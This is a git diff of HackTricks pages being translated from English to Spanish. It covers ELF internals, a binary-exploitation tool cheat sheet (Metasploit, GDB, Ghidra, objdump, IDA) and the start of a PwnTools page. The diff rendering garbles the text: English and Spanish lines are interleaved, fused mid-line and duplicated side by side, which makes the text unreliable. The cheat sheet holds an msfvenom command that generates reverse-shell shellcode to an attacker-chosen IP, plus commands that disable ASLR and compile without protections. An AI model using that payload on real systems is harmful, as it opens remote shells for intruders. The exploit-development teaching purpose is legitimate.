### Meta Sections - **Tabla de cadenas**: Contiene todas las cadenas necesarias para el archivo ELF (pero no las que realmente usa el programa). Por ejemplo, contiene nombres de secciones como `.text` o `.data`. Y si `.text` está en el desplazamiento 45 en la tabla de cadenas, usará el número **45** en el campo **nombre**.
- Para encontrar dónde está la tabla de cadenas, el ELF contiene un puntero a la tabla de cadenas.
- **Tabla de símbolos**: Contiene información sobre los símbolos como el nombre (desplazamiento en la tabla de cadenas), dirección, tamaño y más metadatos sobre el símbolo.
- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field. ### Secciones Principales
- In order to find where the string table is, the ELF contains a pointer to the string table.
- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol.
### Main Sections - **`.text`**: La instrucción del programa a ejecutar.
- **`.data`**: Variables globales con un valor definido en el programa.
- **`.bss`**: Variables globales no inicializadas (o inicializadas a cero). Las variables aquí se inicializan automáticamente a cero, evitando así que se agreguen ceros innecesarios al binario.
- **`.rodata`**: Variables globales constantes (sección de solo lectura).
- **`.tdata`** y **`.tbss`**: Al igual que .data y .bss cuando se utilizan variables locales de hilo (`__thread_local` en C++ o `__thread` en C).
- **`.dynamic`**: Ver abajo.
- **`.text`**: The instruction of the program to run. ## Símbolos
- **`.data`**: Global variables with a defined value in the program.
- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary.
- **`.rodata`**: Constant global variables (read-only section).
- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C).
- **`.dynamic`**: See below.
## Symbols
Symbols is a named location in the program which could be a function, a global data object, thread-local variables...
Un símbolo es una ubicación nombrada en el programa que podría ser una función, un objeto de datos global, variables locales de hilo...
``` ```
readelf -s lnstat readelf -s lnstat
Symbol table '.dynsym' contains 49 entries: Symbol table '.dynsym' contains 49 entries:
Num: Value Size Type Bind Vis Ndx Name Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init 1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data 2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] 10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) 11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...] [...]
``` ```
Cada entrada de símbolo contiene:
Each symbol entry contains: - **Nombre**
- **Atributos de enlace** (débil, local o global): Un símbolo local solo puede ser accedido por el programa mismo, mientras que el símbolo global se comparte fuera del programa. Un objeto débil es, por ejemplo, una función que puede ser sobrescrita por otra diferente.
- **Name** - **Tipo**: NOTYPE (sin tipo especificado), OBJECT (variable de datos global), FUNC (función), SECTION (sección), FILE (archivo de código fuente para depuradores), TLS (variable local de hilo), GNU_IFUNC (función indirecta para reubicación)
- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one. - **Índice de sección** donde se encuentra
- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation) - **Valor** (dirección en memoria)
- **Section** index where it's located - **Tamaño**
- **Value** (address sin memory)
- **Size**
## Dynamic Section
## Sección dinámica
``` ```
readelf -d lnstat readelf -d lnstat
Dynamic section at offset 0xfc58 contains 28 entries: Dynamic section at offset 0xfc58 contains 28 entries:
Tag Type Name/Value Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6] 0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] 0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088 0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74 0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48 0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50 0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) 0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338 0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0 0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358 0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes) 0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes) 0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0 0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58 0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes) 0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA 0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8 0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0 0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes) 0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes) 0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW 0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE 0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50 0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2 0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee 0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15 0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0 0x0000000000000000 (NULL) 0x0
``` ```
El directorio NEEDED indica que el programa **necesita cargar la biblioteca mencionada** para continuar. El directorio NEEDED se completa una vez que la **biblioteca compartida está completamente operativa y lista** para su uso.
The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use. ## Reubicaciones
## Relocations
The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ.
El cargador también debe reubicar las dependencias después de haberlas cargado. Estas reubicaciones se indican en la tabla de reubicación en formatos REL o RELA y el número de reubicaciones se da en las secciones dinámicas RELSZ o RELASZ.
``` ```
readelf -r lnstat readelf -r lnstat
Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
Offset Info Type Sym. Value Sym. Name + Addend Offset Info Type Sym. Value Sym. Name + Addend
00000001fc48 000000000403 R_AARCH64_RELATIV 1d10 00000001fc48 000000000403 R_AARCH64_RELATIV 1d10
00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0 00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0
00000001fff0 000000000403 R_AARCH64_RELATIV 1340 00000001fff0 000000000403 R_AARCH64_RELATIV 1340
@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0 00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0
Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
Offset Info Type Sym. Value Sym. Name + Addend Offset Info Type Sym. Value Sym. Name + Addend
00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0 00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0
00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0 00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0
00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0 00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0
@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0 00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0 00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
``` ```
### Relocaciones Estáticas
### Static Relocations Si el **programa se carga en un lugar diferente** de la dirección preferida (generalmente 0x400000) porque la dirección ya está en uso o debido a **ASLR** o cualquier otra razón, una relocación estática **corrige punteros** que tenían valores esperando que el binario se cargara en la dirección preferida.
If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address. Por ejemplo, cualquier sección de tipo `R_AARCH64_RELATIV` debería haber modificado la dirección en el sesgo de relocación más el valor del aditivo.
For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value. ### Relocaciones Dinámicas y GOT
### Dynamic Relocations and GOT La relocación también podría hacer referencia a un símbolo externo (como una función de una dependencia). Como la función malloc de libC. Entonces, el cargador al cargar libC en una dirección, al verificar dónde se carga la función malloc, escribirá esta dirección en la tabla GOT (Global Offset Table) (indicado en la tabla de relocación) donde debería especificarse la dirección de malloc.
The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified. ### Tabla de Enlace de Procedimientos
### Procedure Linkage Table La sección PLT permite realizar enlace perezoso, lo que significa que la resolución de la ubicación de una función se realizará la primera vez que se acceda a ella.
The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed. Así que cuando un programa llama a malloc, en realidad llama a la ubicación correspondiente de `malloc` en el PLT (`malloc@plt`). La primera vez que se llama, resuelve la dirección de `malloc` y la almacena, de modo que la próxima vez que se llame a `malloc`, se utiliza esa dirección en lugar del código PLT.
So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code. ## Inicialización del Programa
## Program Initialization
After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in:
Después de que el programa ha sido cargado, es hora de que se ejecute. Sin embargo, el primer código que se ejecuta **no siempre es la función `main`**. Esto se debe a que, por ejemplo, en C++ si una **variable global es un objeto de una clase**, este objeto debe ser **inicializado** **antes** de que se ejecute main, como en:
```cpp ```cpp
#include <stdio.h> #include <stdio.h>
// g++ autoinit.cpp -o autoinit // g++ autoinit.cpp -o autoinit
class AutoInit { class AutoInit {
public: public:
AutoInit() { AutoInit() {
printf("Hello AutoInit!\n"); printf("Hello AutoInit!\n");
} }
~AutoInit() { ~AutoInit() {
printf("Goodbye AutoInit!\n"); printf("Goodbye AutoInit!\n");
} }
}; };
AutoInit autoInit; AutoInit autoInit;
int main() { int main() {
printf("Main\n"); printf("Main\n");
return 0; return 0;
} }
``` ```
Tenga en cuenta que estas variables globales se encuentran en `.data` o `.bss`, pero en las listas `__CTOR_LIST__` y `__DTOR_LIST__` se almacenan los objetos a inicializar y destruir para hacer un seguimiento de ellos.
Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them. Desde el código C, es posible obtener el mismo resultado utilizando las extensiones de GNU:
From C code it's possible to obtain the same result using the GNU extensions :
```c ```c
__attributte__((constructor)) //Add a constructor to execute before __attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list __attributte__((destructor)) //Add to the destructor list
``` ```
Desde la perspectiva de un compilador, para ejecutar estas acciones antes y después de que se ejecute la función `main`, es posible crear una función `init` y una función `fini` que se referenciarían en la sección dinámica como **`INIT`** y **`FIN`**. y se colocan en las secciones `init` y `fini` del ELF.
From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF. La otra opción, como se mencionó, es referenciar las listas **`__CTOR_LIST__`** y **`__DTOR_LIST__`** en las entradas **`INIT_ARRAY`** y **`FINI_ARRAY`** en la sección dinámica y la longitud de estas se indica con **`INIT_ARRAYSZ`** y **`FINI_ARRAYSZ`**. Cada entrada es un puntero a función que se llamará sin argumentos.
The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments. Además, también es posible tener un **`PREINIT_ARRAY`** con **punteros** que se ejecutarán **antes** de los punteros de **`INIT_ARRAY`**.
Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers. ### Orden de Inicialización
### Initialization Order 1. El programa se carga en memoria, las variables globales estáticas se inicializan en **`.data`** y las no inicializadas se ponen a cero en **`.bss`**.
2. Todas las **dependencias** para el programa o bibliotecas se **inicializan** y se ejecuta el **vinculación dinámica**.
3. Se ejecutan las funciones de **`PREINIT_ARRAY`**.
4. Se ejecutan las funciones de **`INIT_ARRAY`**.
5. Si hay una entrada **`INIT`**, se llama.
6. Si es una biblioteca, dlopen termina aquí; si es un programa, es hora de llamar al **punto de entrada real** (función `main`).
1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**. ## Almacenamiento Local por Hilo (TLS)
2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed.
3. **`PREINIT_ARRAY`** functions are executed.
4. **`INIT_ARRAY`** functions are executed.
5. If there is a **`INIT`** entry it's called.
6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function).
## Thread-Local Storage (TLS) Se definen utilizando la palabra clave **`__thread_local`** en C++ o la extensión de GNU **`__thread`**.
They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**. Cada hilo mantendrá una ubicación única para esta variable, por lo que solo el hilo puede acceder a su variable.
Each thread will maintain a unique location for this variable so only the thread can access its variable. Cuando se utiliza esto, las secciones **`.tdata`** y **`.tbss`** se utilizan en el ELF. Que son como `.data` (inicializado) y `.bss` (no inicializado) pero para TLS.
When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS. Cada variable tendrá una entrada en el encabezado de TLS especificando el tamaño y el desplazamiento de TLS, que es el desplazamiento que utilizará en el área de datos locales del hilo.
Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area. El `__TLS_MODULE_BASE` es un símbolo utilizado para referirse a la dirección base del almacenamiento local por hilo y apunta al área en memoria que contiene todos los datos locales por hilo de un módulo.
The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
# Exploiting Tools # Herramientas de Explotación
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Metasploit ## Metasploit
```bash ```bash
pattern_create.rb -l 3000 #Length pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
@ -11,31 +10,23 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01 msfelfscan -j esi /opt/fusion/bin/level01
``` ```
### Shellcodes ### Shellcodes
```bash ```bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
``` ```
## GDB ## GDB
### Install ### Instalar
```bash ```bash
apt-get install gdb apt-get install gdb
``` ```
### Parámetros
### Parameters
```bash ```bash
-q # No show banner -q # No show banner
-x <file> # Auto-execute GDB instructions from here -x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process -p <pid> # Attach to process
``` ```
### Instrucciones
### Instructions
```bash ```bash
run # Execute run # Execute
start # Start and break in main start # Start and break in main
@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP x/i $eip # Instructions of the EIP
``` ```
### [GEF](https://github.com/hugsy/gef) ### [GEF](https://github.com/hugsy/gef)
You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions. Puedes usar opcionalmente [**este fork de GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) que contiene instrucciones más interesantes.
```bash ```bash
help memory # Get help on memory command help memory # Get help on memory command
canary # Search for canary value in memory canary # Search for canary value in memory
@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f 2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0: Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176 rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8 called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args: Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers: Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176 gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176' [+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely [+] Found at offset 184 (little-endian search) likely
``` ```
### Tricks ### Tricks
#### GDB same addresses #### GDB mismas direcciones
While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: Mientras depuras, GDB tendrá **direcciones ligeramente diferentes a las utilizadas por el binario cuando se ejecuta.** Puedes hacer que GDB tenga las mismas direcciones haciendo:
- `unset env LINES` - `unset env LINES`
- `unset env COLUMNS` - `unset env COLUMNS`
- `set env _=<path>` _Put the absolute path to the binary_ - `set env _=<path>` _Pon la ruta absoluta al binario_
- Exploit the binary using the same absolute route - Explota el binario utilizando la misma ruta absoluta
- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary - `PWD` y `OLDPWD` deben ser las mismas al usar GDB y al explotar el binario
#### Backtrace to find functions called #### Backtrace para encontrar funciones llamadas
When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
Cuando tienes un **binario vinculado estáticamente**, todas las funciones pertenecerán al binario (y no a bibliotecas externas). En este caso, será difícil **identificar el flujo que sigue el binario para, por ejemplo, pedir entrada del usuario.**\
Puedes identificar fácilmente este flujo **ejecutando** el binario con **gdb** hasta que se te pida entrada. Luego, deténlo con **CTRL+C** y usa el comando **`bt`** (**backtrace**) para ver las funciones llamadas:
``` ```
gef➤ bt gef➤ bt
#0 0x00000000004498ae in ?? () #0 0x00000000004498ae in ?? ()
@ -154,87 +141,80 @@ gef➤ bt
#3 0x00000000004011a9 in ?? () #3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? () #4 0x0000000000400a5a in ?? ()
``` ```
### GDB server ### GDB server
`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) `gdbserver --multi 0.0.0.0:23947` (en IDA tienes que llenar la ruta absoluta del ejecutable en la máquina Linux y en la máquina Windows)
## Ghidra ## Ghidra
### Find stack offset ### Find stack offset
**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ **Ghidra** es muy útil para encontrar el **offset** para un **buffer overflow gracias a la información sobre la posición de las variables locales.**\
For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ Por ejemplo, en el ejemplo a continuación, un desbordamiento de buffer en `local_bc` indica que necesitas un offset de `0xbc`. Además, si `local_10` es una cookie canaria, indica que para sobrescribirla desde `local_bc` hay un offset de `0xac`.\
&#xNAN;_&#x52;emember that the first 0x08 from where the RIP is saved belongs to the RBP._ &#xNAN;_&#x52;emember que los primeros 0x08 desde donde se guarda el RIP pertenecen al RBP._
![](<../../../images/image (1061).png>) ![](<../../../images/image (1061).png>)
## qtool ## qtool
```bash ```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
``` ```
Obtener cada opcode ejecutado en el programa.
Get every opcode executed in the program.
## GCC ## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ **gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compilar sin protecciones\
&#xNAN;**-o** --> Output\ &#xNAN;**-o** --> Salida\
&#xNAN;**-g** --> Save code (GDB will be able to see it)\ &#xNAN;**-g** --> Guardar código (GDB podrá verlo)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux **echo 0 > /proc/sys/kernel/randomize_va_space** --> Para desactivar el ASLR en linux
**To compile a shellcode:**\ **Para compilar un shellcode:**\
**nasm -f elf assembly.asm** --> return a ".o"\ **nasm -f elf assembly.asm** --> devuelve un ".o"\
**ld assembly.o -o shellcodeout** --> Executable **ld assembly.o -o shellcodeout** --> Ejecutable
## Objdump ## Objdump
**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ **-d** --> **Desensamblar** secciones ejecutables (ver opcodes de un shellcode compilado, encontrar ROP Gadgets, encontrar dirección de función...)\
&#xNAN;**-Mintel** --> **Intel** syntax\ &#xNAN;**-Mintel** --> **Sintaxis** Intel\
&#xNAN;**-t** --> **Symbols** table\ &#xNAN;**-t** --> Tabla de **símbolos**\
&#xNAN;**-D** --> **Disassemble all** (address of static variable)\ &#xNAN;**-D** --> **Desensamblar todo** (dirección de variable estática)\
&#xNAN;**-s -j .dtors** --> dtors section\ &#xNAN;**-s -j .dtors** --> sección dtors\
&#xNAN;**-s -j .got** --> got section\ &#xNAN;**-s -j .got** --> sección got\
-D -s -j .plt --> **plt** section **decompiled**\ -D -s -j .plt --> sección **plt** **descompilada**\
&#xNAN;**-TR** --> **Relocations**\ &#xNAN;**-TR** --> **Reubicaciones**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ **ojdump -t --dynamic-relo ./exec | grep puts** --> Dirección de "puts" para modificar en GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). **objdump -D ./exec | grep "VAR_NAME"** --> Dirección o una variable estática (esas se almacenan en la sección DATA).
## Core dumps ## Core dumps
1. Run `ulimit -c unlimited` before starting my program 1. Ejecutar `ulimit -c unlimited` antes de iniciar mi programa
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 2. Ejecutar `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet 3. sudo gdb --core=\<path/core> --quiet
## More ## Más
**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ **ldd executable | grep libc.so.6** --> Dirección (si ASLR, entonces esto cambia cada vez)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop to see if the address changes a lot\ **for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Bucle para ver si la dirección cambia mucho\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset de "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset de "/bin/sh"
**strace executable** --> Functions called by the executable\ **strace executable** --> Funciones llamadas por el ejecutable\
**rabin2 -i ejecutable -->** Address of all the functions **rabin2 -i ejecutable -->** Dirección de todas las funciones
## **Inmunity debugger** ## **Inmunity debugger**
```bash ```bash
!mona modules #Get protections, look for all false except last one (Dll of SO) !mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
``` ```
## IDA ## IDA
### Debugging in remote linux ### Depuración en linux remoto
Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary:
Dentro de la carpeta IDA puedes encontrar binarios que se pueden usar para depurar un binario dentro de un linux. Para hacerlo, mueve el binario `linux_server` o `linux_server64` dentro del servidor linux y ejecútalo dentro de la carpeta que contiene el binario:
``` ```
./linux_server64 -Ppass ./linux_server64 -Ppass
``` ```
Luego, configura el depurador: Debugger (linux remote) --> Proccess options...:
Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
![](<../../../images/image (858).png>) ![](<../../../images/image (858).png>)

View File

@ -1,120 +1,100 @@
# PwnTools # PwnTools
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
``` ```
pip3 install pwntools pip3 install pwntools
``` ```
## Pwn asm ## Pwn asm
Get **opcodes** from line or file. Obtener **opcodes** de una línea o archivo.
``` ```
pwn asm "jmp esp" pwn asm "jmp esp"
pwn asm -i <filepath> pwn asm -i <filepath>
``` ```
**Puede seleccionar:**
**Can select:** - tipo de salida (raw,hex,string,elf)
